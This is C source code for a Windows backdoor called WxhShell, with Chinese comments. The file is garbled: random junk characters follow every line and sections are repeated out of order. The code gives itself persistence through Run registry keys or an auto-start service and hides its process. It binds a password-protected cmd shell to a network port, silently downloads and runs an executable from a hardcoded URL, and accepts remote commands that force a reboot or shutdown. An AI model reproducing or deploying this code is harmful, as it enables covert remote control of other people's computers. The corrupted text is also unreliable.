    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2/0v B>  
    if(Boot(SHUTDOWN)) n-%s8aaVf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o";Z$tAJkC  
    else { zF`c8Tsx])  
    closesocket(wsh); rf$X>M=G  
    ExitThread(0); rp0ZvEX  
    } d`F&aC  
    break; 4!LCR}K  
    } 7R\oj8[  
  // 获取shell qcN'e.A  
  case 's': { xQ@^$_  
    CmdShell(wsh); |JVk&8 ?8  
    closesocket(wsh); FD8N"p  
    ExitThread(0); |Z*J/v'@p  
    break; }5 (Ho$S(  
  } HTyLJe  
  // 退出 B~_d^`  
  case 'x': { ~SnSEhE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7bV{Q355P  
    CloseIt(wsh); /;utcc  
    break; a(0*um(  
    } smry2*g  
  // 离开 v_nj$1dY6  
  case 'q': { V7Mh-]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iySRY^  
    closesocket(wsh); >mjNmh7  
    WSACleanup(); YxP@!U9dE,  
    exit(1); G 8V,  
    break; x(eb5YS  
        } g2T -TG'd  
  } [!U?}1YQ  
  } .;*s`t  
- h9?1vc7  
  // 提示信息 R@`y>XGNJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Fa4shNV  
} ZAXN6h  
  } Y2?.}ZO  
9s_,crq5  
  return; b%S62(qP  
} =-}[ ^u1  
1Q. \s_2  
// shell模块句柄 XGkkB  
int CmdShell(SOCKET sock) cwL1/DGDB  
{ \ 5,MyB2/`  
STARTUPINFO si; ~PHB_cyth  
ZeroMemory(&si,sizeof(si)); B!\;/Vk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7%{ |  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *7wAkljP  
PROCESS_INFORMATION ProcessInfo; =F;.l@:  
char cmdline[]="cmd"; ~mR'Q-hi<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >z.<u|r2  
  return 0; ?|ZTaX6A  
} ti<;7Yb  
f0BdXsV#g  
// 自身启动模式 ^J\~XYg{7  
int StartFromService(void) `ck$t5:6sp  
{ ,Uy|5zv  
typedef struct oun;rMq  
{ b&5lYp"d  
  DWORD ExitStatus; UF@XK">  
  DWORD PebBaseAddress; *>+,(1Fz  
  DWORD AffinityMask; W[^qa5W<FB  
  DWORD BasePriority; Y "VY%S^  
  ULONG UniqueProcessId; PxfY&;4n!  
  ULONG InheritedFromUniqueProcessId; z$kenhFG/  
}   PROCESS_BASIC_INFORMATION; J:kmqk!  
\l@,B +)  
PROCNTQSIP NtQueryInformationProcess; xu'yVt9RC  
$]rj73p^tH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {pHM},WJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dS5a  
l}lIi8  
  HANDLE             hProcess; w&%~3Cz.  
  PROCESS_BASIC_INFORMATION pbi; ubmrlH\d  
pm9%%M$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gB4U*D0[e~  
  if(NULL == hInst ) return 0; +a*^{l}AST  
(S v~2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $&2UTczp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j8sH#b7Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u@4V7;L  
P(K>=O  
  if (!NtQueryInformationProcess) return 0; MXyaE~LK  
b?j< BvQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U2%.S&wS,e  
  if(!hProcess) return 0; "5,   
zdp/|"D!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Engi!  
tu5*Qp\  
  CloseHandle(hProcess); H~E(JLcU  
1Zi,b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nw6+.pOy  
if(hProcess==NULL) return 0; =k oSUVO0  
51QRM32Y  
HMODULE hMod; A|@_}h"WG  
char procName[255]; d` [HT``  
unsigned long cbNeeded; %DQhM,c@  
V3ndV-uQE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RTFZPq84  
:hI@AA>g  
  CloseHandle(hProcess); QzAK##9bfa  
=dx1/4bZl|  
if(strstr(procName,"services")) return 1; // 以服务启动 !XzF67  
> z^#  
  return 0; // 注册表启动  fu9Cx  
} T =2=k&|  
Vy|6E#U  
// 主模块 oaK%Ww6~  
int StartWxhshell(LPSTR lpCmdLine) t>uN'oCyC  
{ a<h1\ `H7  
  SOCKET wsl; x1BobhU~Zl  
BOOL val=TRUE; [S@}T zE  
  int port=0; 0V!l,pg  
  struct sockaddr_in door; ;q1A*f\:#  
.m`y><.5  
  if(wscfg.ws_autoins) Install(); kMsnW}Nu  
G!XIc>F*  
port=atoi(lpCmdLine); 2m~V{mUT!  
0JD~M\-!^a  
if(port<=0) port=wscfg.ws_port; FP Jd|  
e*.b3 z  
  WSADATA data; VnT>K9&3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SnYLdwgl  
.T*GN|@$!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ys#i@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E.iSWAJ(w  
  door.sin_family = AF_INET; & V)6!,rb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -$,%f?  
  door.sin_port = htons(port); 3bNIZ#`|MB  
d O~O |Xsb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c1xrn4f@a  
closesocket(wsl); *;XWLd#  
return 1; Y+3!f#exm  
} $:of=WTY(  
8#D:H/`'  
  if(listen(wsl,2) == INVALID_SOCKET) { `4 y]Z)  
closesocket(wsl); 8#&q$kE  
return 1; >dM8aJzC  
} zY|klX})  
  Wxhshell(wsl); W#Qmv^StZ  
  WSACleanup(); @K:N,@yq  
3or\:  
return 0; #YSF&*  
&ciN@nJ|$z  
} :ah 5`nmPO  
[Ym   
// 以NT服务方式启动 Rl6\#C*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vj!rT <@  
{ 7FF-*2@  
DWORD   status = 0; _qWliw:0#  
  DWORD   specificError = 0xfffffff; Gc$gJnQio  
WX4;l(P L=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y4Er @8I`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vs j3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RJeSi`19T)  
  serviceStatus.dwWin32ExitCode     = 0; T,_(?YJW  
  serviceStatus.dwServiceSpecificExitCode = 0; /(8a~f&%r  
  serviceStatus.dwCheckPoint       = 0; Krs2Gre}  
  serviceStatus.dwWaitHint       = 0; Y+qQIMZ  
tW;:-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s[Ur~Wvn  
  if (hServiceStatusHandle==0) return; 1J? dK|% b  
"EV!>^Z  
status = GetLastError(); dC<LDxlv  
  if (status!=NO_ERROR) vEG'HOP  
{ fKtV '/X;Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c={Ft*N  
    serviceStatus.dwCheckPoint       = 0; HWm#t./  
    serviceStatus.dwWaitHint       = 0; 5TUNX^AW  
    serviceStatus.dwWin32ExitCode     = status; s9oO%e<  
    serviceStatus.dwServiceSpecificExitCode = specificError; j( #%tIv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z* <y5  
    return; 0ji q-3V)  
  } ?U7) XvQ  
aTzDew  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -@&1`@):{  
  serviceStatus.dwCheckPoint       = 0; 6/ `.(fL1  
  serviceStatus.dwWaitHint       = 0; 4eH.9t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eb|i 3.  
} w-$[>R[hw  
1=2^90  
// 处理NT服务事件,比如:启动、停止 u z\0cX_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q/1Or;iK  
{ z}Jr^>  
switch(fdwControl) s4H2/EC  
{ '!1$9o^$  
case SERVICE_CONTROL_STOP: [/RM=4Nh5  
  serviceStatus.dwWin32ExitCode = 0; !q"CV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l?*r5[O>n  
  serviceStatus.dwCheckPoint   = 0; ZlKw_Sq:  
  serviceStatus.dwWaitHint     = 0; W9zE{)Sc~  
  { iK_c.b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5y4u5Tm-%  
  } y/c%+ Ca/  
  return; kWj \x|E  
case SERVICE_CONTROL_PAUSE: ,572n[-q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X%9*O[6{  
  break; N{d@^Yj  
case SERVICE_CONTROL_CONTINUE: 6*@yE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vga-@  
  break; 2yo cu!4l  
case SERVICE_CONTROL_INTERROGATE: :1 )DqoAJ  
  break; O''y>N9  
}; o0z67(N&g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W2wpcc  
} 4O{Avt7C  
nkeI60  
// 标准应用程序主函数 B ?%L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cyd~2\Kv~  
{ !~-6wN"k  
+7}iu/B!9  
// 获取操作系统版本 h?,\(KjP#  
OsIsNt=GetOsVer(); hF&}lPVtv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P(omfD4  
`xKFqx:e  
  // 从命令行安装 _2vd`k  
  if(strpbrk(lpCmdLine,"iI")) Install(); H' J|U|  
%1:chvS  
  // 下载执行文件 'q%%m/,VPQ  
if(wscfg.ws_downexe) { Ps R>V)L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cef:tdk7  
  WinExec(wscfg.ws_filenam,SW_HIDE); s* j fMY  
} BC\S/5~k  
l!IKUzt)7  
if(!OsIsNt) { ")lw9t`  
// 如果时win9x,隐藏进程并且设置为注册表启动 .+K S`  
HideProc(); ~y0R'oi  
StartWxhshell(lpCmdLine); >E"9*:.^a  
} u2sR.%2U<  
else rU#li0 >  
  if(StartFromService()) mxqG-*ch-  
  // 以服务方式启动 ?n'O Fpd  
  StartServiceCtrlDispatcher(DispatchTable); %kU'hzLg  
else q9}m!*8e  
  // 普通方式启动 eK`PxoTI-I  
  StartWxhshell(lpCmdLine); 2>hz_o{5',  
2RppP?M!  
return 0; V{Q kN7-  
} NyPd5m:  
}C(5-7  
3#.\  
M1u{A^d.Z  
=========================================== ulXnq`  
PCfo  
:mv`\  
_dU P7H (  
Nf?\AK!  
LAZVW</  
" [>w%CY<Fd  
5 d ;|=K  
#include <stdio.h> r[HT9  
#include <string.h> w+f=RHX"{  
#include <windows.h> O]nT>;PXX  
#include <winsock2.h> >#N[GrJAE  
#include <winsvc.h> |pWaBh|r  
#include <urlmon.h> # .q#O C  
u.6P-yh  
#pragma comment (lib, "Ws2_32.lib") u3ds QU  
#pragma comment (lib, "urlmon.lib") .2X2b<%)  
vD=%`G[m  
#define MAX_USER   100 // 最大客户端连接数  H+cNX\,  
#define BUF_SOCK   200 // sock buffer ` Q9+k<  
#define KEY_BUFF   255 // 输入 buffer g#W_S?  
M#0 @X  
#define REBOOT     0   // 重启 Jgi Iq  
#define SHUTDOWN   1   // 关机 (@ ]tG?I=  
H=. K  
#define DEF_PORT   5000 // 监听端口 Hq xK\m%,.  
 *W^=XbG  
#define REG_LEN     16   // 注册表键长度 8B@J Fpg^  
#define SVC_LEN     80   // NT服务名长度 #/WAzYt{  
A8dI:E+$  
// 从dll定义API 8wF#e\Va0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &=-PRza%j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o'qm82* =  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vR]mSX3)?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5G? .T?  
YsAF{  
// wxhshell配置信息 V.,bwPb{9  
struct WSCFG { )vHi|~(   
  int ws_port;         // 监听端口 j-* TXog  
  char ws_passstr[REG_LEN]; // 口令 ]_2 yiKv&  
  int ws_autoins;       // 安装标记, 1=yes 0=no $Sb@zLi)  
  char ws_regname[REG_LEN]; // 注册表键名 ;E's4jWq  
  char ws_svcname[REG_LEN]; // 服务名 Ed=}PrE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OROqT~6G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8vJdf9pB*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T~:_}J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r{V.jZ%p'Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D-iUN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6z]`7`G   
%O/d4  
}; 5&qY3@I7l  
#PH#2/[  
// default Wxhshell configuration )KE_t^$  
struct WSCFG wscfg={DEF_PORT, ;z0"Ox=7  
    "xuhuanlingzhe", oeGS  
    1, Bbs5f@E  
    "Wxhshell", v Xf:~G]  
    "Wxhshell", (txt8q  
            "WxhShell Service", i+RD]QL  
    "Wrsky Windows CmdShell Service", 'Q`C[*c  
    "Please Input Your Password: ", X X&K=<,Ja  
  1, ux&:Rw\  
  "http://www.wrsky.com/wxhshell.exe", ) MBS  
  "Wxhshell.exe" "VQ|E d  
    }; MHNe>C-!q  
t 2G1[j!  
// 消息定义模块 u#VweXyU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8GW ut=D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !5E9sk{)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .~22^k  
char *msg_ws_ext="\n\rExit."; 6puVw-X  
char *msg_ws_end="\n\rQuit."; z'e1"Y.  
char *msg_ws_boot="\n\rReboot..."; O3&|}:<  
char *msg_ws_poff="\n\rShutdown..."; =g[H]-Ee  
char *msg_ws_down="\n\rSave to "; {]@Qu"M  
-3`Isv  
char *msg_ws_err="\n\rErr!"; 9;pzzZ  
char *msg_ws_ok="\n\rOK!"; ^Yr|K  
IrUi E q  
char ExeFile[MAX_PATH]; {DS\!0T-X  
int nUser = 0; dh?S[|='  
HANDLE handles[MAX_USER]; XqX I(q^  
int OsIsNt; s+N^PX3  
}8 \|1@09  
SERVICE_STATUS       serviceStatus; uegb;m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :Lc3a$qtx5  
L77EbP`P  
// 函数声明 x57'Cg \  
int Install(void); {\luieG  
int Uninstall(void); Y 0]Kl^\A  
int DownloadFile(char *sURL, SOCKET wsh); 4UazD_`'  
int Boot(int flag); -g<cinNSp  
void HideProc(void); tnNZ`]qY  
int GetOsVer(void); Lv^a+'  
int Wxhshell(SOCKET wsl); tNYJQ  
void TalkWithClient(void *cs); u IF$u  
int CmdShell(SOCKET sock); F[(6*/46x  
int StartFromService(void); BM.-X7)  
int StartWxhshell(LPSTR lpCmdLine); Q+HZ?V(  
@F~0p5I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pNBa.4z:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dJaEoF  
=;g=GcVK  
// 数据结构和表定义 L[1d&d!p  
SERVICE_TABLE_ENTRY DispatchTable[] = OAY8,C=M  
{ uH0#rgKt  
{wscfg.ws_svcname, NTServiceMain}, V!H(;Tuuo  
{NULL, NULL} tb:    
}; BjwMb&a;  
l~CZW*/  
// 自我安装 ::0aY ;D2  
int Install(void) Ko]QCLL  
{ >QA/Mi~R  
  char svExeFile[MAX_PATH]; 'G52<sF  
  HKEY key; 2(hvv-  
  strcpy(svExeFile,ExeFile); pEY>A_F  
Q;=6ag'  
// 如果是win9x系统,修改注册表设为自启动 #`r(zI[  
if(!OsIsNt) { +_P8'e%Iy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tln9q0"W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w< v1 N  
  RegCloseKey(key); _F3KFQ4,S-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `B:B7Cpvn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (/('nY  
  RegCloseKey(key); 2B5A!? ~>  
  return 0; >pN;J)H  
    }  7N!tp,?  
  } _w\Y{(k  
} q"P5,:W  
else { _s2m-jm7  
{ ( _B  
// 如果是NT以上系统,安装为系统服务 H\ {E%7^h-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;HR 6X  
if (schSCManager!=0) VjC*(6<Gj  
{ te4F"SEf  
  SC_HANDLE schService = CreateService /A0 [_  
  ( h=!M6yap<  
  schSCManager, : x>I- 3G  
  wscfg.ws_svcname, P"oYC$  
  wscfg.ws_svcdisp, wwo(n$!\  
  SERVICE_ALL_ACCESS, j!6elzg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n9N#&Q"7m  
  SERVICE_AUTO_START, $+A%ODv  
  SERVICE_ERROR_NORMAL, 'y'T'2N3  
  svExeFile, =U=e?AOG2  
  NULL, [0h* &  
  NULL, xi;/^)r  
  NULL, U? {'n#n 5  
  NULL, F\o;t:  
  NULL '.=Wk^,Ua  
  ); I93 ~8wQ  
  if (schService!=0) W^5<XX,ON  
  { X\o/i\ C}  
  CloseServiceHandle(schService); -J-3_9I  
  CloseServiceHandle(schSCManager); w906aV*s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tZdwy>;  
  strcat(svExeFile,wscfg.ws_svcname); /#:Rd^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R.91v4 J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y')O>C0~  
  RegCloseKey(key); fui4@  
  return 0; W`w5jk'0^=  
    } A4~D#V  
  } _!CK   
  CloseServiceHandle(schSCManager); | De!ti  
} }pbBo2  
} ^2C0oX  
pg} ~vb"  
return 1; ?BWHr(J  
} M(_^'3u  
BM|-GErE  
// 自我卸载 %'RI 3gy  
int Uninstall(void) fO[Rf_  
{ Cf.pTYSl  
  HKEY key; 6T R8D\  
83{x"G3>  
if(!OsIsNt) { 'LJ %.DJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qf_h b  
  RegDeleteValue(key,wscfg.ws_regname); *37LN  
  RegCloseKey(key); "bHtf_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~AEqfIx*^&  
  RegDeleteValue(key,wscfg.ws_regname); L4\SB O  
  RegCloseKey(key); ipx@pNW;"  
  return 0; } l:mN  
  } ?2J S&i  
} 3g?MEM~  
} ${jA+L<J  
else { Kj~>&WU  
XR{5]lKt_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v< 65(I>  
if (schSCManager!=0) TSc~$Q]  
{ }}kS~ w-#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a) I=U [  
  if (schService!=0) Hv[d<ylO  
  { ?&whE!  
  if(DeleteService(schService)!=0) { DBu)xr}7A  
  CloseServiceHandle(schService); EpFIKV!  
  CloseServiceHandle(schSCManager); ;J,,f1Vw  
  return 0; D=i0e8D!+  
  } e8~62O^  
  CloseServiceHandle(schService); 9f@#SB_H  
  } 5QqJ I#4~  
  CloseServiceHandle(schSCManager); kGB#2J  
} ()+jrrK  
} W /~||s  
w,M1`RsK  
return 1; JxX jDYrU  
} 0C7thl{Dms  
;']vY  
// 从指定url下载文件 .fio<mqi  
int DownloadFile(char *sURL, SOCKET wsh) n4ds;N3Hd  
{ X";QA":  
  HRESULT hr; ^yn[QWFO  
char seps[]= "/"; '0'"k2"vC  
char *token; hW0,5>[7%  
char *file; Ff)~clIK '  
char myURL[MAX_PATH]; H3 A]m~=3  
char myFILE[MAX_PATH]; C$N4   
[oQ`HX1g  
strcpy(myURL,sURL); /7UovKKbz  
  token=strtok(myURL,seps); "<cB73tY  
  while(token!=NULL) ~)! V8  
  { $Nt=gSWw5  
    file=token; #Qtg\X  
  token=strtok(NULL,seps); '_TJ"lOZ  
  } 8>%jZ%`a  
/{eih]`x(  
GetCurrentDirectory(MAX_PATH,myFILE); .LeF|EQU\@  
strcat(myFILE, "\\"); 9G`FY:(K  
strcat(myFILE, file); 7$q2v=tH_  
  send(wsh,myFILE,strlen(myFILE),0); tF#b&za  
send(wsh,"...",3,0); s8f3i\1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6T{o3wc;  
  if(hr==S_OK) L]/\C{}k  
return 0; )rs|=M=Xk  
else dVj'  
return 1; ;JPbBwm  
Lyf? V(S  
} hr~qt~Oi  
!T#8N7J>  
// 系统电源模块 /ygUd8@  
int Boot(int flag) >,] eL  
{ =0@d|LeZ  
  HANDLE hToken; e B(S+p?  
  TOKEN_PRIVILEGES tkp; @w#gRQCl  
ijZydn  
  if(OsIsNt) { =u:6b} =  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 94qHY1rp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); brYYuN|Vc  
    tkp.PrivilegeCount = 1; J^s<x#C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r2E>sHw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6*(h9!_T1  
if(flag==REBOOT) { vUo.BA#;.b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v2Qc}o  
  return 0; a.Rp#}f  
} 1,%#O;ya  
else { rHC+nou  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mu_mm/U_  
  return 0; RAv RNd  
} (N~zJ .o  
  } 8Y{}p[UFT  
  else { 0bnVIG2q  
if(flag==REBOOT) { C%95~\Ds  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *Lb(urf  
  return 0; 0?5%  
} Fl#VKU3h  
else { ERX|cc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !5E%W[  
  return 0; XW&8T"q7  
} Q[ 9rA  
} ,/w852|ub  
[F AOp@7W  
return 1; lE2wkY9^/  
} Oc"'ay(g  
:~0^ib<v;  
// win9x进程隐藏模块 9(N)MT5F  
void HideProc(void) li 3PR$W V  
{ v'bd.eqw  
Sf4h!ly  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ) v[Knp'  
  if ( hKernel != NULL ) {>UMw>T[  
  { '^-4{Y^2E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RBK>Lws6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3"^)bGe  
    FreeLibrary(hKernel); qV,$bw  
  } y 8d`},  
Zjp5\+hHV  
return; T^(n+lv  
} Mc$v~|i6  
\MFWK#W  
// 获取操作系统版本 ,Zcx3C:#  
int GetOsVer(void) tXG4A$(2&  
{ ~Q$c!=   
  OSVERSIONINFO winfo; eRl?9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :AqnWy  
  GetVersionEx(&winfo); 1 <qVN'[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .X<"pd*@e  
  return 1; 1n"+~N^\  
  else .2{C29g  
  return 0; S] K6qY  
} X_tW#`  
>;'1k'  
// 客户端句柄模块 E/L?D  
int Wxhshell(SOCKET wsl) P=SxiXsr$  
{ 9a~BAH,j  
  SOCKET wsh; 6ImV5^l  
  struct sockaddr_in client; &;@b&p+  
  DWORD myID; X!M fJ^)q  
Xv5Ev@T  
  while(nUser<MAX_USER) Y(I*%=:$  
{ ;5oH6{7_Z  
  int nSize=sizeof(client); dV2b)p4J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EhP&L?EL  
  if(wsh==INVALID_SOCKET) return 1; Bn#HJ17/#  
]N(zom_0d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dpp52UnT E  
if(handles[nUser]==0) Ng;b!S  
  closesocket(wsh); ;cm{4%=Iqe  
else p3A-WK|NX  
  nUser++; [vjkU7;7A  
  } >gi{x|/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ]O9f"cj  
Uwm[q+sTp  
  return 0; sm&rR=b  
} JmJ,~_  
Aya;ycsgE  
// 关闭 socket /hEGk~  
void CloseIt(SOCKET wsh) $hE'b9qx  
{ H;7H6fyZ  
closesocket(wsh); c"sw@<HG  
nUser--; : .w'gU_  
ExitThread(0); ]kplb0`  
} (27F   
VY&9kN  
// 客户端请求句柄 85@6uBh  
void TalkWithClient(void *cs) 8DS5<  
{ = cI\OsV&?  
Y`O}]*{>8R  
  SOCKET wsh=(SOCKET)cs; Y)j,(9  
  char pwd[SVC_LEN]; 5$"[gdt)T  
  char cmd[KEY_BUFF]; {8bY7NH|  
char chr[1]; Bzy=@]`  
int i,j; OB  i!fLa  
$5"-s]  
  while (nUser < MAX_USER) { @ H`QLm  
'a{5}8+8  
if(wscfg.ws_passstr) { &\]f!'jV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C^42=?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /h.3<HI."*  
  //ZeroMemory(pwd,KEY_BUFF); eNC5' Z  
      i=0; Jp*AIj  
  while(i<SVC_LEN) { VU'l~%ql  
JK8@J9(#  
  // 设置超时 ?>\]%$5o  
  fd_set FdRead; $Q$d\Yvi  
  struct timeval TimeOut; vLT12v:)`  
  FD_ZERO(&FdRead); fm:{&(  
  FD_SET(wsh,&FdRead); zUgkY`]:BJ  
  TimeOut.tv_sec=8; G-i_s6Wu  
  TimeOut.tv_usec=0; nu9k{owB T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e4W];7_K!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4!s k3Cw{  
e"H+sM26-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {)[g  
  pwd=chr[0]; Umwg iw  
  if(chr[0]==0xd || chr[0]==0xa) { 6C51:XQO  
  pwd=0; oD}FJvV  
  break; WT {Cjn  
  } Vq7 kA "  
  i++; "yq;{AGOGl  
    } \w_[tPz}  
>E,L"&_j  
  // 如果是非法用户,关闭 socket BHE =Zo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); np>!lF:  
} KeOBbe  
K$vRk5U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +bd{W]={  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~u`! Gi  
EkAqFcKLq  
while(1) { yrYaKh  
,v5>sL  
  ZeroMemory(cmd,KEY_BUFF); &+{xR79+&  
0|Ft0y`+  
      // 自动支持客户端 telnet标准   !9cPNIi  
  j=0; +~{nU'  
  while(j<KEY_BUFF) { 0m!ZJHe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dZYJ(7%  
  cmd[j]=chr[0]; ^Jpd9KK  
  if(chr[0]==0xa || chr[0]==0xd) { >)Z2bCe  
  cmd[j]=0; cWy0N  
  break; qq%_ksQ  
  } ^[z\KmUqt  
  j++; )3\rp$]1  
    } ZU@jtqq  
~9;mZi1-  
  // 下载文件 *7V{yK$O|  
  if(strstr(cmd,"http://")) { {Om3fSk:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^g){)rz|  
  if(DownloadFile(cmd,wsh)) p;Ok.cXVp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 S8{VZpy  
  else  !3M!p&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 95&sFT C  
  }  D.x3@+  
  else { um;U;%?Q  
